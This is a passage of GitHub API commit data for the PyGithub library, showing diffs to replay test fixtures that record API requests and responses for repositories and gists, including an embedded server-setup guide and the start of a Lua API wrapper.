X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:09:11 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '\"8600bedcb7fed1d8065e1693e05529ce\"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:13:10 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1377140429')]\n+\n+"},{"sha":"b6d8aeec9b3c663cfe561eb2513a514f10011673","filename":"github/tests/ReplayData/ConditionalRequestUpdate.testDidUpdate.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/ConditionalRequestUpdate.testDidUpdate.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/ConditionalRequestUpdate.testDidUpdate.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/ConditionalRequestUpdate.testDidUpdate.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,11 @@\n+https\n+GET\n+api.github.com\n+None\n+/repos/akfish/PyGithub\n+{'If-None-Match': '\"8600bedcb7fed1d8065e1693e05529ce\"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Thu, 22 Aug 2013 02:09:11 GMT'}\n+null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13712'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:14:54 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '\"ef281ef0e821c18f80da36902727160b\"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:15:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')]\n+{\"id\":12156762,\"name\":\"PyGithub\",\"full_name\":\"akfish/PyGithub\",\"owner\":{\"login\":\"akfish\",\"id\":922715,\"avatar_url\":\"https://0.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png\",\"gravatar_id\":\"12a1b44d4e5c19cee59618084602b112\",\"url\":\"https://api.github.com/users/akfish\",\"html_url\":\"https://github.com/akfish\",\"followers_url\":\"https://api.github.com/users/akfish/followers\",\"following_url\":\"https://api.github.com/users/akfish/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/akfish/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/akfish/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/akfish/subscriptions\",\"organizations_url\":\"https://api.github.com/users/akfish/orgs\",\"repos_url\":\"https://api.github.com/users/akfish/repos\",\"events_url\":\"https://api.github.com/users/akfish/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/akfish/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/akfish/PyGithub\",\"description\":\"Python library implementing the full Github API v3 - AKFish Fork\",\"fork\":true,\"url\":\"https://api.github.com/repos/akfish/PyGithub\",\"forks_url\":\"https://api.github.com/repos/akfish/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/akfish/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/akfish/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/akfish/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/akfish/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/akfish/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/akfish/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/akfish/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/akfish/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/akfish/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/akfish/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/akfish/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/akfish/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/akfish/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/akfish/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/akfish/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/akfish/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/akfish/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/akfish/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/akfish/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/akfish/PyGithub/labels{/name}\",\"created_at\":\"2013-08-16T10:56:11Z\",\"updated_at\":\"2013-08-22T02:14:54Z\",\"pushed_at\":\"2013-08-22T02:09:09Z\",\"git_url\":\"git://github.com/akfish/PyGithub.git\",\"ssh_url\":\"git@github.com:akfish/PyGithub.git\",\"clone_url\":\"https://github.com/akfish/PyGithub.git\",\"svn_url\":\"https://github.com/akfish/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":6736,\"watchers_count\":0,\"language\":\"Python\",\"has_issues\":false,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":0,\"mirror_url\":null,\"open_issues_count\":0,\"forks\":0,\"open_issues\":0,\"watchers\":0,\"master_branch\":\"master\",\"default_branch\":\"master\",\"permissions\":{\"admin\":true,\"push\":true,\"pull\":true},\"network_count\":70,\"parent\":{\"id\":3544490,\"name\":\"PyGithub\",\"full_name\":\"jacquev6/PyGithub\",\"owner\":{\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"url\":\"https://api.github.com/users/jacquev6\",\"html_url\":\"https://github.com/jacquev6\",\"followers_url\":\"https://api.github.com/users/jacquev6/followers\",\"following_url\":\"https://api.github.com/users/jacquev6/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/jacquev6/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/jacquev6/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/jacquev6/subscriptions\",\"organizations_url\":\"https://api.github.com/users/jacquev6/orgs\",\"repos_url\":\"https://api.github.com/users/jacquev6/repos\",\"events_url\":\"https://api.github.com/users/jacquev6/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/jacquev6/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"description\":\"Python library implementing the full Github API v3\",\"fork\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"forks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/jacquev6/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/jacquev6/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/jacquev6/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/jacquev6/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}\",\"created_at\":\"2012-02-25T12:53:47Z\",\"updated_at\":\"2013-08-21T20:32:08Z\",\"pushed_at\":\"2013-08-21T20:31:45Z\",\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":7437,\"watchers_count\":248,\"language\":\"Python\",\"has_issues\":true,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":70,\"mirror_url\":null,\"open_issues_count\":17,\"forks\":70,\"open_issues\":17,\"watchers\":248,\"master_branch\":\"master\",\"default_branch\":\"master\"},\"source\":{\"id\":3544490,\"name\":\"PyGithub\",\"full_name\":\"jacquev6/PyGithub\",\"owner\":{\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"url\":\"https://api.github.com/users/jacquev6\",\"html_url\":\"https://github.com/jacquev6\",\"followers_url\":\"https://api.github.com/users/jacquev6/followers\",\"following_url\":\"https://api.github.com/users/jacquev6/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/jacquev6/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/jacquev6/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/jacquev6/subscriptions\",\"organizations_url\":\"https://api.github.com/users/jacquev6/orgs\",\"repos_url\":\"https://api.github.com/users/jacquev6/repos\",\"events_url\":\"https://api.github.com/users/jacquev6/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/jacquev6/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"description\":\"Python library implementing the full Github API v3\",\"fork\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"forks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/jacquev6/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/jacquev6/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/jacquev6/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/jacquev6/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}\",\"created_at\":\"2012-02-25T12:53:47Z\",\"updated_at\":\"2013-08-21T20:32:08Z\",\"pushed_at\":\"2013-08-21T20:31:45Z\",\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":7437,\"watchers_count\":248,\"language\":\"Python\",\"has_issues\":true,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":70,\"mirror_url\":null,\"open_issues_count\":17,\"forks\":70,\"open_issues\":17,\"watchers\":248,\"master_branch\":\"master\",\"default_branch\":\"master\"}}\n+"},{"sha":"6ef154b5c89fc41728599711ada9ac0aa8d36959","filename":"github/tests/ReplayData/ConditionalRequestUpdate.testUpdateObjectWithoutEtag.txt","status":"added","additions":22,"deletions":0,"changes":22,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/ConditionalRequestUpdate.testUpdateObjectWithoutEtag.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/ConditionalRequestUpdate.testUpdateObjectWithoutEtag.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/ConditionalRequestUpdate.testUpdateObjectWithoutEtag.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,22 @@\n+https\r\n+GET\r\n+api.github.com\r\n+None\r\n+/repos/jacquev6/PyGithub\r\n+{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\r\n+null\r\n+200\r\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4911'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('date', 'Sun, 27 May 2012 07:17:09 GMT'), ('content-type', 'application/json; charset=utf-8')]\r\n+{\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"has_downloads\":true,\"watchers\":15,\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"updated_at\":\"2012-05-27T06:55:28Z\",\"permissions\":{\"pull\":true,\"admin\":true,\"push\":true},\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"mirror_url\":null,\"has_wiki\":false,\"has_issues\":true,\"fork\":false,\"forks\":3,\"size\":308,\"private\":false,\"open_issues\":16,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"owner\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"language\":\"Python\",\"description\":\"Python library implementing the full Github API v3\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"pushed_at\":\"2012-05-27T06:00:28Z\",\"created_at\":\"2012-02-25T12:53:47Z\",\"id\":3544490,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"full_name\":\"jacquev6/PyGithub\"}\r\n+\r\n+https\r\n+GET\r\n+api.github.com\r\n+None\r\n+/repos/jacquev6/PyGithub\r\n+{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\r\n+null\r\n+200\r\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4911'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('date', 'Sun, 27 May 2012 07:17:09 GMT'), ('content-type', 'application/json; charset=utf-8')]\r\n+{\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"has_downloads\":true,\"watchers\":15,\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"updated_at\":\"2012-05-27T06:55:28Z\",\"permissions\":{\"pull\":true,\"admin\":true,\"push\":true},\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"mirror_url\":null,\"has_wiki\":false,\"has_issues\":true,\"fork\":false,\"forks\":3,\"size\":308,\"private\":false,\"open_issues\":16,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"owner\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"language\":\"Python\",\"description\":\"Python library implementing the full Github API v3\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"pushed_at\":\"2012-05-27T06:00:28Z\",\"created_at\":\"2012-02-25T12:53:47Z\",\"id\":3544490,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"full_name\":\"jacquev6/PyGithub\"}\r\n+\r"},{"sha":"0589aa6c8958061fa31f388fd9d737750bdac50a","filename":"github/tests/ReplayData/Gist.testFork.txt","status":"modified","additions":9,"deletions":9,"changes":18,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Gist.testFork.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/Gist.testFork.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Gist.testFork.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -2,32 +2,32 @@ https\n GET\n api.github.com\n None\n-/gists/2729818\n+/gists/6296553\n {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2576'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fda4eb92e9b9a245bccf9efd47857766\"'), ('date', 'Sat, 19 May 2012 07:25:30 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"git_push_url\":\"git@gist.github.com:2729818.git\",\"updated_at\":\"2012-05-19T07:06:08Z\",\"forks\":[],\"url\":\"https://api.github.com/gists/2729818\",\"comments\":0,\"public\":true,\"files\":{\"ror.markdown\":{\"type\":\"text/plain\",\"raw_url\":\"https://gist.github.com/raw/2729818/1284e70f4c16550ef32a26aa4f5f0c78edaa7008/ror.markdown\",\"size\":1076,\"filename\":\"ror.markdown\",\"content\":\"## create user\\n\\nsudo useradd -m username\\nvisudo\\n\\n## delete default user\\n\\nsudo userdel ubuntu\\nsudo rm -Rf ubuntu\\n\\n## setup ssh\\n\\nmkdir ~/.ssh\\nvi /etc/ssh/authorized_keys\\nsudo vi /etc/ssh/sshd_config\\n\\n\\n## install packages\\n\\nsudo apt-get update\\n\\nsudo apt-get install sysv-rc-init git-core apache2-utils wget vim\\nsudo apt-get install mysql-client mysql-server libmysqld-dev\\nsudo apt-get install g++ openssl zlib1g readline-common libyaml-dev libssl-dev zlib1g-dev libxml2-dev libxslt1-dev libjson0-dev libgcc1 libreadline-dev\\n\\n\\n## install nginx\\n\\nwget http://nginx.org/keys/nginx_signing.key\\nsudo apt-key add nginx_signing.key\\n\\n### add /etc/sources.list\\n> \\\"deb http://nginx.org/packages/ubuntu/ lucid nginx\\ndeb-src http://nginx.org/packages/ubuntu/ lucid nginx\\\"\\n\\napt-get update\\napt-get install nginx\\n\\n\\n## setup system\\n\\nsudo sysv-rc-init\\n\\n\\n## install ruby\\n\\ncd /usr/local/src\\nsudo wget ftp://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.3-p194.tar.gz\\nsudo tar zxvf ruby-1.9.3-p194.tar.gz\\ncd ruby-1.9.3-p194\\nsudo ./configure\\nsudo make && make install\\n\\n\\n## install RoR\\n\\nsudo gem install rails\",\"language\":\"Markdown\"}},\"html_url\":\"https://gist.github.com/2729818\",\"user\":{\"url\":\"https://api.github.com/users/Kechol\",\"gravatar_id\":\"f2a6400b393749ccd9ad3f24d4995f77\",\"login\":\"Kechol\",\"avatar_url\":\"https://secure.gravatar.com/avatar/f2a6400b393749ccd9ad3f24d4995f77?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"id\":625489},\"description\":\"RoR setup in AWS EC2(Ubuntu 12.04 LTS)\",\"created_at\":\"2012-05-19T07:06:08Z\",\"git_pull_url\":\"git://gist.github.com/2729818.git\",\"id\":\"2729818\",\"history\":[{\"url\":\"https://api.github.com/gists/2729818/a655d19a12233e5e5615deb714eae95c433eed57\",\"version\":\"a655d19a12233e5e5615deb714eae95c433eed57\",\"change_status\":{\"deletions\":0,\"additions\":57,\"total\":57},\"committed_at\":\"2012-05-19T07:06:08Z\",\"user\":{\"url\":\"https://api.github.com/users/Kechol\",\"gravatar_id\":\"f2a6400b393749ccd9ad3f24d4995f77\",\"login\":\"Kechol\",\"avatar_url\":\"https://secure.gravatar.com/avatar/f2a6400b393749ccd9ad3f24d4995f77?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"id\":625489}}]}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '25285'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 16:26:50 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '\"b96b3895f5da8f5e9533f0db72748a49\"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 16:28:20 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377104997')]\n+{\"url\":\"https://api.github.com/gists/6296553\",\"forks_url\":\"https://api.github.com/gists/6296553/forks\",\"commits_url\":\"https://api.github.com/gists/6296553/commits\",\"id\":\"6296553\",\"git_pull_url\":\"https://gist.github.com/6296553.git\",\"git_push_url\":\"https://gist.github.com/6296553.git\",\"html_url\":\"https://gist.github.com/6296553\",\"files\":{\"GithubAPI.lua\":{\"filename\":\"GithubAPI.lua\",\"type\":\"text/plain\",\"language\":\"Lua\",\"raw_url\":\"https://gist.github.com/raw/6296553/88aafa25fb28e17013054a117354a37f0d78963c/GithubAPI.lua\",\"size\":21229,\"content\":\"-- GithubAPI\\n-- @Author : Hyro Vitaly Protago\\n-- @Version : 1.0.0\\n\\n--[[\\n\\nINFOS :\\n - Cannot delete an anonymous gist\\n]]--\\n\\nGithubAPI = {\\n\\tlocation = \\\"https://api.github.com/\\\",\\n\\ttoken = nil,\\n\\tOAuth = {\\n\\t\\tauthorizations = {}\\n\\t},\\n\\tgist = {\\n\\t\\tlist = {},\\n\\t\\tcomment = {}\\n\\t},\\n\\tgithub = {}\\n}\\n\\n----------------------------------------------------------------------------\\n------------------------------ Github API ----------------------------------\\n----------------------------------------------------------------------------\\n\\n--- Authentication ---\\n\\n--[[ Scopes --\\n\\nScopes let you specify exactly what type of access you need. Scopes limit access for OAuth tokens.\\nThey do not grant any additional permission beyond that which the user already has.\\n\\nFor the web flow, requested scopes will be displayed to the user on the authorize form.\\n\\nCheck headers to see what OAuth scopes you have, and what the API action accepts.\\n\\n~~~\\n$ curl -H \\\"Authorization: token OAUTH-TOKEN\\\" https://api.github.com/users/technoweenie -I\\nHTTP/1.1 200 OK\\nX-OAuth-Scopes: repo, user\\nX-Accepted-OAuth-Scopes: user\\nX-OAuth-Scopes lists the scopes your token has authorized. X-Accepted-OAuth-Scopes lists the scopes that the action checks for.\\n~~~\\n\\n- (no scope)\\npublic read-only access (includes public user profile info, public repo info, and gists).\\n- user\\nRead/write access to profile info only. Note: this scope includes user:email and user:follow.\\n- user:email\\nRead access to a user’s email addresses.\\n- user:follow\\nAccess to follow or unfollow other users.\\n- public_repo\\nRead/write access to public repos and organizations.\\n- repo\\nRead/write access to public and private repos and organizations.\\n- repo:status\\nRead/write access to public and private repository commit statuses.\\nThis scope is only necessary to grant other users or services access to private repository commit statuses without granting access to the code.\\nThe repo and public_repo scopes already include access to commit status for private and public repositories respectively.\\n- delete_repo\\nDelete access to adminable repositories.\\n- notifications\\nRead access to a user’s notifications. repo is accepted too.\\n- gist\\nWrite access to gists.\\n\\nNOTE: Your application can request the scopes in the initial redirection. You can specify multiple scopes by separating them by a comma.\\n~~~\\nhttps://github.com/login/oauth/authorize?\\n client_id=...&\\n scope=user,public_repo\\n~~~\\n]]--\\n\\n-- Redirect users to request GitHub access --\\nfunction GithubAPI.OAuth.getToken(client_id, scope, 